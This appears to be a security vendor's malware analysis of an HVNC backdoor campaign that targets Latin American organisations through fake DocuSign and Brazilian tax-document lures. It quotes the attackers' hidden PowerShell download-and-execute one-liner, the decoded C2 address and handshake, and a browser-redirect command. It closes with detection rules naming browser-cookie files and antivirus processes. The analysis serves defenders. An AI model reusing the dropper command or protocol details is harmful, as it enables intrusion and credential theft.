HVNC Backdoor Targets LATAM Organizations with Fake Tax and DocuSign Lures

Editor’s note: The analysis is authored by Moises Cerqueira, malware researcher & threat hunter. You can find Moises on LinkedIn and X.

Fake tax documents are being used to target organizations across LATAM, delivering a custom HVNC backdoor built for stealthy, persistent access. Once installed, the malware can give attackers hidden remote control, steal browser data, monitor keystrokes, and survive system reboots.

The attack chain combines trusted business lures, anti-analysis techniques, and infrastructure designed to keep access hidden. For security leaders, the risk goes beyond a single compromised endpoint: persistent access can expose credentials, sensitive data, and business systems while giving attackers more time to move deeper into the environment.

HVNC Campaign Overview

The campaign uses fake DocuSign notifications, NFe tax documents, and banking-themed phishing to deliver a custom HVNC backdoor. Once installed, it can give attackers hidden remote control and persistent access to compromised systems.

Business Risks Behind the HVNC Campaign

For organizations, the danger lies in how much access the malware can provide once a device is compromised. Its capabilities can increase both the scope of exposure and the time attackers remain active in the environment.

• Credential and session theft: The malware monitors keystrokes and targets Firefox cookies, browsing history, and permissions, putting account access at risk.
• Hidden remote control: HVNC functionality lets attackers interact with the compromised system through a hidden desktop, including screen capture and simulated mouse and keyboard input.
• Persistent access: The backdoor establishes Startup-folder persistence, allowing it to remain active after system reboots.
• Reduced visibility for defenders: The malware checks for more than 20 AV/EDR processes and adjusts its behavior when security software is present.
• Longer exposure to compromise: Its persistent C2 connection and repeated reconnection attempts are designed to keep the implant available even through network interruptions.

Who Is This Campaign Targeting?

The campaign appears financially motivated, with a clear focus on banking and financial services in Latin America. Threat intelligence analysis using ANY.RUN data revealed phishing infrastructure impersonating major banks, alongside fake tax-document lures designed to blend into routine financial and administrative workflows.

Attack Chain Overview

The campaign follows a four-stage infection chain that moves from fake DocuSign and NFe tax-document lures to a persistent HVNC backdoor. Each stage uses separate delivery, staging, and C2 infrastructure, making the operation harder to trace and disrupt.

• Stage 1 – Initial Access: a spoofed DocuSign “document ready for download” page (and a parallel NFe/DANFE-themed lure) with anti-sandbox and anti-automation logic, serving a dynamically generated ZIP archive per visitor.
• Stage 2 – Dropper: a Windows .lnk shortcut disguised as a tax-document receipt, whose target is a hidden PowerShell one-liner that downloads and executes a second-stage binary.
• Stage 3 – Loader: an NSIS self-extracting installer bundling the final payload alongside legitimate-looking runtime DLLs (OpenCV, MSVC redistributables) used as cover noise.
• Stage 4 – Payload: a 64-bit backdoor (masquerading as “Windows Update Assistant” / Microsoft Corporation in its version metadata, while unsigned) implementing AV/EDR discovery, a hidden virtual desktop for remote operator control, keystroke monitoring, Firefox cookie/history/permission theft, and a browser-redirection command – all communicating over TCP/27015 to infrastructure hosted with GHOSTnet GmbH (Frankfurt, DE).

The Lure: A Fake DocuSign Notification With a Personality

The entry point is a cloned DocuSign “your document is ready” page. It’s a convincing fake – the logo is pulled live from DocuSign’s own CDN – but the copy gives it away: the document name reads “Documento_Contrato_Signado.pdf,” a non-native construction of the Portuguese word for “signed.” A build marker (0a4b2aff1c2ebf8b) sits in the HTML, likely a phishing-kit fingerprint we can use to track this kit elsewhere.

Before it hands over anything, the page runs a small anti-bot gauntlet: it checks navigator.webdriver, zero-size browser windows, and known headless-browser artifacts, then waits for two genuine mouse/scroll/keyboard events (with a 3.5-second fallback) before arming the download. A silent background request also fingerprints the visitor’s browser, OS, timezone and screen size and reports it to the server first – almost certainly used to decide who actually gets a payload.

Once satisfied, the page doesn’t link to a file – it POSTs to api.php and gets back a JSON blob containing a base64-encoded ZIP, a SHA-256 hash, and a cheeky bit of social engineering: an alternate .nfe extension “in case the download gets blocked by SmartScreen.”

From Shortcut to Shellcode: The LNK Dropper

Inside the ZIP sits a Windows .lnk shortcut disguised as an NFe (Brazilian electronic tax receipt) confirmation, alongside five decoy .txt files with fabricated company data – generated fresh for every download, using real, recognizable Brazilian company names to boost trust.

The shortcut’s real target is powershell.exe, run with -WindowStyle Hidden -ExecutionPolicy Bypass, executing a one-liner that downloads a second-stage binary and runs it:

Invoke-WebRequest -Uri “http://<staging-ip>/dl.php?f=NotaFiscal…exe
&k=nfe_valid_access_key_2026_secure” `
-OutFile “$env:USERPROFILE\Desktop\$env:USERNAME.exe”; Start-Process $out

That k= parameter is a static access token gating the delivery server – a strong pivot for spotting other samples from the same kit, regardless of which IP is currently hosting it.

The shortcut’s own metadata turned out to be more useful than expected: Windows silently embeds the builder machine’s NetBIOS hostname into every .lnk file. Here, that hostname was “servee” – a detail that becomes very relevant once we get to infrastructure.

An Installer in Disguise: NSIS and the Weight of Legitimacy

The downloaded file is an NSIS (Nullsoft Scriptable Install System) self-extracting installer with a 22.9 MB compressed overlay. Unpacked, it drops:

• UpdateAssistant.exe – the real payload
• opencv_world4120.dll (~22 MB) – a genuine OpenCV library
• Four legitimate Microsoft Visual C++ redistributable DLLs

None of these DLLs are hijacked or trojanized – they’re just real, large, familiar-looking files bundled in to make the folder feel like a normal software installer. The actual malicious logic lives entirely in the one 177 KB executable sitting quietly among them.

Cracking the XOR: Finding the C2 Inside the Binary

UpdateAssistant.exe claims to be Microsoft Corporation’s “Windows Update Assistant” in its version metadata – while being completely unsigned. Static analysis in Detect It Easy immediately flags the giveaways: UnsignedMicrosoft, repeated XorInLoop patterns, and YARA hits for KeyloggerApi and BrowserStealer.

Reversing the network-setup routine in IDA Pro shows why. The C2 host is stored as 12 raw bytes, XOR-encoded with a single byte (0x37):

Raw: 02 19 05 04 07 19 05 03 0E 19 03 0E
XOR key: 0x37
Result: 5.230.249.49

The destination port is stored in plaintext: 27015 – the default port for Source-engine games like Counter-Strike. Reusing a gaming port is a small but deliberate choice: it blends the beacon into ordinary consumer traffic on a casual netflow review.

A second function decodes a small set of browser names (“chrome,” “firefox,” “msedge,” “brave,” “opera”) using a different XOR key (0x13), building commands like cmd.exe /c start chrome.exe <operator-supplied URL> – a command the operator can issue to force the victim’s browser open to any page of their choosing.

The Malware Introduces Itself: A Live HVNC Handshake

Static analysis told us the malware could create a hidden desktop (CreateDesktopA, SetThreadDesktop), capture the screen, inject input, and poll the keyboard state – the textbook ingredients of an HVNC implant. What we didn’t expect was for the malware to say so, out loud, on the wire.

Detonating a live build in ANY.RUN’s Interactive Sandbox and opening the raw TCP stream to the C2 in Text view surfaced this handshake, sent in the clear before any operator interaction:

HVNC-<client id>
CLIENT_ID:HVNC-<client id>
COMPUTER:<hostname>
USER:<username>
OS:<Windows version>
VERSION:1.2.0.4.71
MODE:FULL
DETAILS:[SISTEMA] Arquitetura: x64 (AMD64)
[SISTEMA] Processadores: 6
[SISTEMA] CPU: AMD Ryzen 5 3500 6-Core Processor
[SISTEMA] Memória Total: 6138 MB
[SISTEMA] Memória Disponível: 4343 MB
[SISTEMA] Antivírus: Não detectado (modo stealth)
[SISTEMA] Hostname: <hostname>
IDENTIFIER_CHANNEL:20

The banner literally opens with HVNC-. The malware authors named their own protocol, and it checks in with a full victim fingerprint – CPU model, RAM, architecture, and, tellingly, the result of the antivirus-discovery loop we found in static analysis. That loop isn’t just for self-throttling; its output is reported straight to the operator’s panel per victim. After the handshake, the stream switches to a binary frame format consistent with screen-tile data feeding the malware’s built-in OpenCV pipeline.

We also confirmed the port isn’t fixed: one build hardcoded 27015, while a separately detonated build connected live on 27017. Treat the port as a per-build configuration value, not a protocol constant – the VERSION:1.2.0.4.71 string is the more durable fingerprint.

Sticking Around: Persistence via a Fake Update Helper

A follow-up detonation answered the one question static analysis couldn’t: how does this thing survive a reboot? Watching the process tree in ANY.RUN, UpdateAssistant.exe copies itself – plus its cover DLLs – into a second folder under %APPDATA%\Roaming\Programs\Common\, renaming the executable to AppUpdateHelper.exe, then drops a shortcut into the current user’s Startup folder pointing at that copy.

That name isn’t a coincidence: earlier pivoting in ANY.RUN’s Threat Intelligence Lookup on the C2 IP had already surfaced runtime mutex values from unrelated prior submissions – Global\AppUpdateHelper_E7A2F and Global\WinSvc_4CF8B2E6 – from builds spanning back to March 2026. The prefix is stable across builds; only the suffix changes. Interestingly, we also caught this malware executing its own browser-redirect command in the wild: several TI Lookup events show msedge.exe –type=util… launched in direct correlation with a connection to the C2 IP, matching the capability we’d already decoded statically.

Following the Infrastructure Trail

The LNK’s embedded builder hostname – servee – turned into a live pivot. Querying Shodan for the staging IP (an Azure VM used only to host the second-stage download) showed an exposed RPC endpoint mapper leaking that exact NetBIOS name, confirming the builder machine and the delivery host are one and the same.

The live C2, by contrast, sits on a GHOSTnet GmbH VPS in Frankfurt – a different provider entirely, reflecting a deliberate split between disposable staging infrastructure and a stable, actively-managed C2 host (Shodan even shows a self-signed AnyDesk certificate on the box, suggesting the operator manages it remotely).

Pivoting further in TI Lookup on the same C2 IP surfaced several more findings worth flagging. First, the same server also hosts other stage-2 payloads under different lure themes (dl.php?f=cresol.exe&k=chave_tecl_cresol — a Sicredi/Cresol-branded variant), confirming this is a reusable kit, not a one-off. Related activity also showed the same NFe lure theme being delivered through ClickFix-style prompts, suggesting the operators can rotate delivery methods as well as infrastructure and payloads.

A related domain — gerenciadorcaixa.digital, cloning Caixa Econômica Federal’s corporate banking portal — shares the same gerenciador[bank].digital naming convention as a Banco do Brasil phishing clone found on a sibling IP, suggesting either a shared operator or hosting reseller behind multiple financial-phishing campaigns.

Capability Summary

The final payload combines remote-control, data-theft, evasion, and persistence capabilities in a single backdoor. The table below summarizes the behaviors confirmed during static and dynamic analysis, along with the confidence level for each finding.

Detection and Hunting Priorities

Because payload hashes and infrastructure can change between builds, detection should combine campaign-specific IOCs with more durable behavioral signals.

• Watch for suspicious PowerShell execution: Flag hidden PowerShell launched from .lnk files, especially commands combining Invoke-WebRequest and Start-Process.
• Check fake update binaries: Investigate unsigned processes named UpdateAssistant.exe or similar Windows Update-themed files running outside legitimate Windows directories.
• Hunt for HVNC behavior: Look for unsigned processes combining hidden-desktop APIs, screen capture, and simulated keyboard or mouse input.
• Monitor persistence: Alert on unusual .lnk files written to the Startup folder, particularly when they point to executables under %APPDATA%.
• Use durable network indicators: Hunt for the HVNC- protocol strings, VERSION:1.2.0.4.71, and the nfe_valid_access_key delivery token rather than relying only on current C2 IPs or ports.

How Organizations Can Reduce the Risk from HVNC Campaigns

Security awareness should reflect these workflows, especially for finance, accounting, procurement, and other document-heavy teams. Employees should know how to verify unexpected files or signing requests before opening them.

Treat Tax and Business Documents as a High-Risk Entry Point

Organizations handling large volumes of tax documents, invoices, signing requests, and other financial communications should treat unexpected downloads and attachments with extra scrutiny.

Security awareness should focus on the specific workflows attackers imitate, not phishing in general. Employees working in finance, accounting, procurement, and other document-heavy functions are especially important here.

Analyze Suspicious Files Before They Reach Production Systems

The campaign relies on several seemingly ordinary stages — a ZIP archive, an .lnk shortcut, PowerShell, and an installer — before the HVNC payload appears.

Suspicious files and URLs can be opened in an isolated environment such as ANY.RUN’s Interactive Sandbox to expose the full execution chain, including hidden PowerShell activity, dropped files, network connections, persistence, and C2 behavior before an analyst makes a containment decision.

Expand Investigations Beyond the First IOC

One malicious IP or file may represent only a small part of the campaign.

Using ANY.RUN’s Threat Intelligence Lookup, teams can pivot from an IP, domain, URL, mutex, or other indicator to related samples and infrastructure. In this investigation, those pivots exposed additional lure themes and connected activity beyond the original sample.

For security leaders, this means fewer incidents treated in isolation and a better chance of identifying the wider campaign before another endpoint is affected.

Push Fresh Threat Intelligence Into Existing Controls

Because payload hashes and infrastructure can change between builds, organizations should avoid relying only on static blocklists. The investigation already showed different payload hashes across builds while more durable behavioral and protocol indicators remained consistent.

Threat Intelligence Feeds can help distribute current malicious infrastructure and indicators into SIEM, EDR, firewalls, and other existing security controls, while behavioral detections provide coverage when individual IPs, domains, or payloads rotate.

Plan for Full Containment, Not Just Initial Cleanup

Once HVNC is installed, removing the original file is not enough. The malware establishes persistence, maintains C2 access, and can continue operating after reboot.

Incident-response plans should therefore include checking persistence mechanisms, terminating malicious processes, blocking C2 activity, reviewing exposed credentials and browser sessions, and confirming that attacker access has been fully removed.

Conclusion

This HVNC campaign shows how familiar business workflows can be turned into an effective path to persistent compromise. Fake tax documents and trusted-brand lures ultimately lead to a backdoor capable of hidden remote control, keystroke monitoring, browser-data theft, and long-term access.

For organizations across Latin America, the key lesson is to look beyond the initial phishing artifact and detect the behaviors and infrastructure that remain consistent as campaigns evolve:

• Simple delivery can lead to high-impact compromise: A phishing page, shortcut file, and installer ultimately provide attackers with a capable HVNC backdoor.
• Persistence increases the window of exposure: The malware can maintain access through a Startup-folder mechanism even after a reboot.
• Static IOCs are not enough: Payload hashes change between builds, making behavioral and protocol-based detection more reliable over time.
• C2 behavior provides durable detection opportunities: The malware exposes distinctive protocol strings and sends victim and AV information during check-in, giving defenders stronger hunting signals than IPs alone.
• Threat intelligence helps reveal the wider campaign: Pivoting from individual indicators exposed related lure themes, infrastructure, and financially motivated phishing activity beyond the original sample.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 16,000 organizations worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious files and URLs, uncover malicious behavior, enrich investigations with actionable context, and connect related activity across infrastructure and campaigns.

This helps security teams reduce investigation time, lower MTTD and MTTR, and contain threats before business impact grows.

MITRE ATT&CK Mapping

Indicators of Compromise

File Hashes:

Network Indicators:

Host-Based Indicators:

Suricata (network-content, infrastructure-independent):

alert tcp any any -> any any (msg:”HVNC-family C2 handshake (NFe/DocuSign cluster)”; \
content:”HVNC-“; content:”CLIENT_ID:HVNC-“; content:”COMPUTER:”; \
content:”IDENTIFIER_CHANNEL:”; content:”VERSION:1.2.0.4.71″; \
flow:established,to_server; classtype:trojan-activity; sid:9000001; rev:1;)

YARA (final payload):

rule Trojan_HVNC_UpdateAssistant_Masquerade
{
meta:
description = “Detects the unsigned HVNC/keylogger backdoor masquerading as Windows Update Assistant”
author = “0xOlympus”
date = “2026-07-27”
hash = “5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3”

strings:
$ff1 = “cookies.sqlite” ascii
$ff2 = “places.sqlite” ascii
$ff3 = “permissions.sqlite” ascii

$av1 = “avastui.exe” ascii
$av2 = “bdagent.exe” ascii
$av3 = “mcshield.exe” ascii
$av4 = “360tray.exe” ascii
$av5 = “ekrn.exe” ascii

$ver = “Windows Update Assistant” wide

// XOR(0x37)-encoded C2 host “5.230.249.49”
$c2cfg = { 02 19 05 04 07 19 05 03 0E 19 03 0E }

condition:
uint16(0) == 0x5A4D and
(2 of ($ff*)) and
(3 of ($av*)) and
($ver or $c2cfg)
}